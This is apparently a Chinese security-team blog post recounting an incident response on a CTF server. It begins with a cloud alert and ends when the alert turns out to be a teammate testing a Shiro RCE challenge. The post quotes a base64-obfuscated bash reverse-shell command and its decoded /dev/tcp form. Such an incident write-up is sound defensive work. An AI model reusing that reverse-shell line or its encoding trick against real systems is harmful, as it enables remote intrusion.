一次团队CTF平台“乌龙”应急事件

点击蓝字

关注我们

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经狼组安全团队允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

本篇文章为本菜鸡在团队的CTF平台疑似被入侵排查的一个过程，要是文章中有啥错误请各位大佬指出！

美好的周五，下班！刚刚打到车就发现阿里云给我发邮件提示有安全事件。

点进去一看，服务器存在可疑的安全事件，可疑编码命令，这台IP是团队的CTF服务器，放着一大把靶场，要是被攻击也正常。

赶紧阿里云控制台上去看看具体是干了什么

好家伙，base64编码执行命令 妥妥的有问题，先排查看看是不是误报

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}

通过base64编码的方式逃避检测，去看看解码内容

解码出来如下，好家伙，这不是bash反弹shell的命令吗？？？

bash -i >& /dev/tcp/**.**.**.**/5555 0>&1







二、








溯源排查




为了确认危害性，对攻击IP进行溯源分析，使用微步情报 https://x.threatbook.cn/ 分析ip



得知以下几点信息


1. 反弹shell的IP为腾讯云上海的服务器


2. 该服务器有解析域名


然后一看这域名 **sec.club ，这怕不是啥安全团队的域名，估计是啥大佬来搞事情？
这时候我打的车也等了一会了，肚子也饿得咕咕叫了，先上车接着进行排查。首先怀疑是某安全团队师傅攻击，估计会挂黑页啥的。
本来想关机回到家再处理怕影响后面溯源分析排查进程，先简单看下进程和网络连接情况。


执行命令用户为 www，估计是拿到了某web应用权限，根据刚刚阿里云告警：父进程文件路径: /usr/local/openjdk-8/bin/java 这台服务器上并没有JAVA服务，可能是攻击者用来维权或提权操作使用工具，这个时候仅仅是www权限，那么下一步肯定是进行提权，于是先把进程kill掉。
根据刚刚是www权限，这台服务器上仅有nginx服务是www权限运行，于是先关闭nginx服务器处理。
为了避免攻击者发现进行进一步操作，先断网处理，出口和入口全部封禁该ip




又不太放心，这个点也没什么人做题目，关闭所有端口，所有ip访问。（遇到攻击拔网线）





先封禁着ip让团队师傅排查域名信息





回家颠簸的路上查看下该域名主页。





看这域名的内容，反弹shell的命令放在在上面，应该为了方便控制多台服务器作为肉鸡或者什么的。
继续排查域名，该域名使用的是腾讯云上海的服务器，且用的80端口，肯定是备案过的，于是准备再去看看看备案信息。这个时候我也快到家了，于是最快速度跑回家继续进行处理。





这时候Match师傅发现了平台不对劲





再进行确认





Match师傅说是他的域名，为了以防万一误判，再去看看备案信息。





确认是团队成员的域名，一场乌龙






原来是Match 师傅在测试新的CTF题目并且写WP，这个题目是Shiro REC题目，可以使用漏洞执行命令。










后记












很好奇，为什么这个进程在docker里面会跑到外面来，查了下原来宿主机 ps -aux 确实可以看到docker容器里面的进程

写记录的时候师傅也提了下，docker不是虚拟机，是命名空间隔离



写到最后让我想起了之前一次阿里云的告警，也是CTF服务器，有师傅拿到了题目的shell权限准备提权然后告警。








最后，师傅们在使用团队的CTF平台的时候不要搞其他东西了，好好做题不香吗 哈哈哈















作者




























Keac






一个喜欢搞点事情的人














扫描关注公众号回复加群
和师傅们一起讨论研究~



























长








按








关








注









WgpSec狼组安全团队
微信号：wgpsec
Twitter：@wgpsec



























本文始发于微信公众号（WgpSec狼组安全团队）：一次团队CTF平台“乌龙”应急事件